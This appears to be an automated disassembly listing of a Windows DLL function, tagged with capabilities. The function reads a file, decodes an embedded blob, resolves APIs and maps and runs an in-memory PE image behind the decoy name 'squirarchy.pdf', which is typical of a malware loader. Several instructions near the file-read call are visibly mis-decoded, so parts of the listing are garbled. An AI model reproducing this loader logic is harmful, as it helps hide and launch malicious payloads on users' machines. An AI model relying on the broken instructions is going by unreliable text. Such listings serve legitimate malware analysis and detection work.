Function at 0x1800029a8
Capabilities:
Get file size
Read file on windows
Terminate process

Disassembly:
xor r9d, r9d
mov rcx, rsi
mov qword [rsp + 0x30], 0
mov r8d, 1
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
mov rsi, rax
je 0x180002e3b
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebp, dword [0x1803e7d80]
mov edi, eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edx, edx
mov rcx, rax
mov r8d, ebp
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [0x1803e7d80]
mov rbp, rax
lea rdx, [rax + rcx]
test rcx, rcx
je 0x180002a2a
mov byte [rax], 0
add rax, 1
cmp rax, rdx
jne 0x180002a1e
mov qword [rsp + 0x20], 0
mov r8d, edi
mov rdx, rbp
mov rcx, rsi
mov dword [rsp + 0x98], 0
add byte [rax], al
add byte [rbp + rcx*4 - 0x74], cl
and al, 0x98
add byte [rax], al
add bh, bh
adc eax, 0x239933
test eax, eax
je 0x180002e3b
mov eax, dword [0x1803e7da4]
mov esi, dword [rsp + 0x98]
lea rdx, [rbp + rax]
mov qword [rsp + 0x70], rax
mov r8d, dword [rdx]
lea r9, [rdx + 8]
add rsi, rbp
mov r10d, dword [rdx + 4]
test r8d, r8d
je 0x180002af0
lea eax, [r8 - 1]
cmp eax, 2
jbe 0x180002e34
mov ecx, r8d
movd xmm4, r10d
mov rax, rdx
shr ecx, 2
pshufd xmm1, xmm4, 0
shl rcx, 4
add rcx, rdx
movdqu xmm0, xmmword [rax + 8]
add rax, 0x10
paddd xmm0, xmm1
movups xmmword [rax - 8], xmm0
cmp rax, rcx
jne 0x180002aae
mov eax, r8d
and eax, 0xfffffffc
mov ecx, eax
cmp r8d, eax
lea r9, [r9 + rcx*4]
je 0x180002af0
add dword [r9], r10d
lea ecx, [rax + 1]
cmp r8d, ecx
jbe 0x180002af0
add dword [r9 + 4], r10d
add eax, 2
cmp r8d, eax
jbe 0x180002af0
add dword [r9 + 8], r10d
mov r12d, dword [0x1803e7db0]
mov rcx, rbx
lea rdi, [rdx + r12]
lea rdx, [rdi + 1]
call fcn.1800027ad
test rax, rax
mov r13, rax
je 0x180002e3b
movsx rax, byte [rdi]
add rdi, rax
mov qword [rsp + 0x78], rax
and al, 0x78
lea rdx, [rdi + 1]
call fcn.1800027ad
test rax, rax
mov r15, rax
je 0x180002e3b
movsx rax, byte [rdi]
add rdi, rax
mov qword [rsp + 0x80], rax
lea rcx, [rdi + 1]
call r13
test rax, rax
mov r14, rax
je 0x180002e3b
movsx rax, byte [rdi]
mov dword [rsp + 0x9c], 0
mov r10d, dword [0x1803e7d7c]
mov r8d, dword [0x1803e7d60]
lea rdx, [rdi + rax]
mov qword [rsp + 0x48], rax
mov r11d, dword [rdx + 8]
lea rdi, [rdx + r10]
mov qword [rsp + 0x68], r10
mov eax, dword [rdx + 4]
mov r13, r11
mov rdx, r11
mov qword [rsp + 0x60], r11
mov dword [rsp + 0x54], eax
lea rax, [rdi + r11]
movq xmm6, rax
movsxd rax, dword [r14 + 0x3c]
mov eax, dword [r14 + rax + 0x2c]
mov qword [rsp + 0x88], rax
lea rbx, [r14 + rax]
lea rax, [rsp + 0x9c]
mov rcx, rbx
mov qword [rsp + 0x58], rax
pop rax
mov r9, rax
call r15
lea ecx, [r13 - 1]
test r13d, r13d
mov r11, qword [rsp + 0x60]
mov r10, qword [rsp + 0x68]
je 0x180002d40
add r12, qword [rsp + 0x70]
mov r9, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
lea rdx, [r10 + r12]
lea rax, [r10 + r12 + 0x10]
add rdx, r9
add rax, r9
add rdx, r8
add rdx, qword [rsp + 0x48]
add rax, r8
add rax, qword [rsp + 0x48]
add rdx, rbp
add rbp, rax
mov rax, qword [rsp + 0x88]
cmp rbx, rbp
setae r8b
lea rax, [r14 + rax + 0x10]
cmp rdx, rax
setae al
or r8b, al
je 0x180002ddd
cmp ecx, 0xe
jbe 0x180002ddd
mov r8d, r13d
xor eax, eax
shr r8d, 4
shl r8, 4
nop dword [rax]
movdqu xmm2, xmmword [rdx + rax]
movups xmmword [rbx + rax], xmm2
add rax, 0x10
cmp rax, r8
jne 0x180002c5d
mov edx, r13d
and edx, 0xfffffff0
mov eax, edx
sub ecx, edx
add rdi, rax
add rax, rbx
cmp r13d, edx
je 0x180002d40
movzx edx, byte [rdi]
test ecx, ecx
mov byte [rax], dl
je 0x180002d40
movzx edx, byte [rdi + 1]
cmp ecx, 1
mov rdx, r11
mov rcx, rbx
mov r9, qword [rsp + 0x58]
mov r8d, dword [rsp + 0x9c]
call r15
mov eax, dword [rsp + 0x54]
mov rdx, qword [str.squirarchy.pdf]
add rbx, rax
xor eax, eax
cmp byte [rdx], 0
je 0x180002dfd
mov rdx, qword [str.squirarchy.pdf]
movsx dx, byte [rdx + rax]
mov word [rsi + rax*2], dx
mov rdx, qword [str.squirarchy.pdf]
add rax, 1
cmp byte [rdx + rax], 0
jne 0x180002d6f
lea rax, [rsi + rax*2]
xor edx, edx
movq xmm3, rsi
movdqa xmm0, xmm6
mov word [rax], dx
punpcklqdq xmm0, xmm3
lea rcx, [rsp + 0xa0]
movaps xmmword [rsp + 0xa0], xmm0
mov byte [rsp + 0xb0], 1
call rbx
nop
movaps xmm6, xmmword [rsp + 0xc0]
add rsp, 0xd8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
xor eax, eax
jmp 0x180002de4
mov rax, rdx
movzx edx, byte [rdi + rax]
cmp rax, rcx
mov byte [rbx + rax], dl
lea rdx, [rax + 1]
jne 0x180002de1
jmp 0x180002d40
mov rax, rsi
jmp 0x180002d94
xor eax, eax
jmp 0x180002ad5
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]